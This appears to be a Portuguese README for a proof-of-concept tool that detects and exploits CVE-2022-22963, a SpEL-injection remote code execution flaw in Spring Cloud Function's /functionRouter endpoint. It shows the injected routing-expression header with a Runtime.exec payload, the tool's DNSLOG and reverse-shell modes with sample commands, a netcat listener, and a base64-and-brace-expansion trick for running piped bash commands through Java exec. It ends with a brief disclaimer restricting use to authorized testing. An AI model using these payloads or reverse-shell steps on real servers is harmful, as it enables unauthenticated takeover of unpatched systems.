
CVE-2022-22963-poc
Ferramenta de detecção e exploração da vulnerabilidade de execução remota de código por injeção de expressão SpEL no Spring Cloud Function.
CVE-2022-22963 é uma vulnerabilidade RCE de alto risco (CVSS 9.8) no recurso de roteamento do Spring Cloud Function. Quando o aplicativo tem o endpoint /functionRouter habilitado, o valor do cabeçalho de solicitação spring.cloud.function.routing-expression é executado diretamente como uma expressão SpEL (Spring Expression Language), permitindo que um atacante execute comandos arbitrários no servidor de destino sem autenticação.
Versões afetadas:
| Branch | Versões afetadas | Versão corrigida |
|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
Princípio da vulnerabilidade:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
Quando o servidor executa o SpEL, exec() retorna um objeto Process; ao tentar serializá-lo, o Spring lança uma exceção e a resposta é HTTP 500. O comando é executado de forma assíncrona em segundo plano, e o resultado não é refletido na resposta HTTP — é necessário confirmá-lo por canais laterais, como DNSLOG ou reverse shell.
ping para o domínio DNSLOG e confirma a execução do comando por meio dos registros DNSpip install requests
Python 3.6+, sem outras dependências.
python3 CVE-2022-22963.py -u <URL-alvo> [opções]
| Parâmetro | Descrição | Padrão |
|---|---|---|
-u, --url | URL de destino (obrigatório) | — |
-c, --check | Verifica se a vulnerabilidade está presente | — |
-m, --mode | Modo de exploração: dnslog ou shell | — |
-d, --dns | Domínio DNSLOG (usado com -m dnslog) | — |
-i, --ip | IP receptor do reverse shell (usado com -m shell) | — |
-p, --port | Porta receptora do reverse shell | 9999 |
-t, --timeout | Tempo limite da solicitação (segundos) | 5 |
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com está vulnerável!
Usado para confirmar que o comando foi realmente executado quando não há retorno visível:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload enviado; verifique se abc123.dnslog.cn recebeu uma consulta DNS (confirma a execução real)
Em seguida, verifique na plataforma DNSLOG se foi recebida uma consulta DNS a partir do IP do alvo.
Inicie a escuta na máquina do atacante:
nc -lvnp 9999
Envie o payload:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload enviado; aguarde a conexão em 192.168.1.100:9999 (somente alvos Linux/bash)
Observação: o reverse shell depende do suporte a
/dev/tcpno sistema de destino, sendo aplicável apenas a ambientes Linux + bash. Não há suporte para alvos Windows nem para shells como sh/ash/dash.
A solicitação de detecção envia uma expressão SpEL real para /functionRouter:
T(java.lang.Runtime).getRuntime().exec('id')
Process não pode ser serializado → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) não passa pela interpretação do shell; ele tokeniza a string de comando diretamente por espaços e não consegue lidar com pipes e redirecionamentos. A ferramenta contorna essa limitação da seguinte forma:
{cmd,arg} no lugar de espaços-c do bash do alvo processa os pipes e redirecionamentosbash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec tokeniza por espaços
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c aplica brace expansion nos argumentos
echo BASE64 | base64 -d | bash -i
| Data | Versão | Descrição |
|---|---|---|
| 2023-12-28 | v1.0 | Lançamento da versão inicial |
| 2025-10-09 | v1.1 | Refatoração do código; otimização do tratamento de parâmetros e de erros |
| 2026-06-29 | v1.2 | Correção de falsos positivos na detecção, da concatenação do caminho do context path e de problemas de semântica no valor de retorno do exploit |
Esta ferramenta destina-se exclusivamente a pesquisa em segurança, testes de penetração autorizados e fins educacionais.
Ao utilizar esta ferramenta, você concorda que:
Os autores não assumem qualquer responsabilidade por usos não autorizados nem por suas consequências.